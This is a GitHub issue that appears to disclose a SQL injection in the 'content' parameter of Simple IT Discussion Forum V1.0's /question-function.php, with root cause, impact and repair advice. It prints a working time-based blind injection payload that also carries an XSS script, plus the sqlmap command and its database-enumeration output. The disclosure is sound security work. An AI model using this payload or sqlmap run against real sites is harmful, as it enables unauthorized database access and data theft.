

lonelyuan / **vunls** Public

<> Code **Issues** 10 Pull requests Actions Projects Security and quality

New issue



# code-projects Simple IT Discussion Forum Project V1.0 /question-function.php SQL injection #8

Open

zzb1388 opened 2 weeks ago



## code-projects Simple IT Discussion Forum Project V1.0 /question-function.php SQL injection

### NAME OF AFFECTED PRODUCT(S)

- Simple IT Discussion Forum

### Vendor Homepage

- <https://code-projects.org/simple-it-discussion-forum-in-php-with-source-code/>

### AFFECTED AND/OR FIXED VERSION(S)

### submitter

- christychen11

### Vulnerable File

- /question-function.php

## VERSION(S)

---

- V1.0

## Software Link

---

- <https://code-projects.org/simple-it-discussion-forum-in-php-with-source-code/>

## PROBLEM TYPE

---

### Vulnerability Type

---

- SQL injection

### Root Cause

---

- A SQL injection vulnerability was found in the '/question-function.php' file of the 'Simple IT Discussion Forum' project. The reason for this issue is that attackers inject malicious code from the parameter 'content' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

### Impact

---

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

## DESCRIPTION

---

- During the security review of "Simple IT Discussion Forum", I discovered a critical SQL injection vulnerability in the "/question-function.php" file. This vulnerability stems from insufficient user input validation of the 'content' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

## No login or authorization is required to exploit this vulnerability

---

# Vulnerability details and POC

## Vulnerability Ionameion:

- 'content' parameter

## Payload:

```
---
Parameter: content (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: category=Programming&title=11111<script>prompt(/xss/);</script>&content=1111
          ' AND (SELECT 4707 FROM (SELECT(SLEEP(5)))oZqj) AND 'YTBl'='YTBl
---
```



The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
python sqlmap.py -r 1.txt --batch --dbs
```



```
C:\Windows\System32\cmd.exe x + v
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values?
[Y/n] Y
[20:39:14] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:39:14] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other
(potential) technique found
[20:39:14] [INFO] checking if the injection point on POST parameter 'content' is a false positive
POST parameter 'content' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 198 HTTP(s) requests:
---
Parameter: content (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: category=Programming&title=11111<script>prompt(/xss/);</script>&content=1111
          ' AND (SELECT 4707 FROM (SELECT(SLEEP(5)))oZqj) AND 'YTBl'='YTBl
---
[20:39:29] [INFO] the back-end DBMS is MySQL
[20:39:29] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to pr
event potential disruptions
web application technology: Apache 2.4.39, PHP 5.4.45
back-end DBMS: MySQL >= 5.0.12
[20:39:29] [INFO] fetching database names
[20:39:29] [INFO] fetching number of databases
[20:39:29] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
2
[20:39:39] [INFO] retrieved.
[20:39:44] [INFO] adjusting time delay to 1 second due to good response times
information
```

# Suggested repair

- 1. Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
- 2. Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format.
- 3. Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as 'root 'or' admin ') for daily operations.
- 4. Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

[Sign up for free](#) to join this conversation on **GitHub**. Already have an account? [Sign in to comment](#)

## Metadata

### Assignees

No one assigned

### Labels

No labels

### Projects

No projects


### Milestone

No milestone

### Relationships

None yet

### Development

 Code with agent mode

No branches or pull requests

### Participants

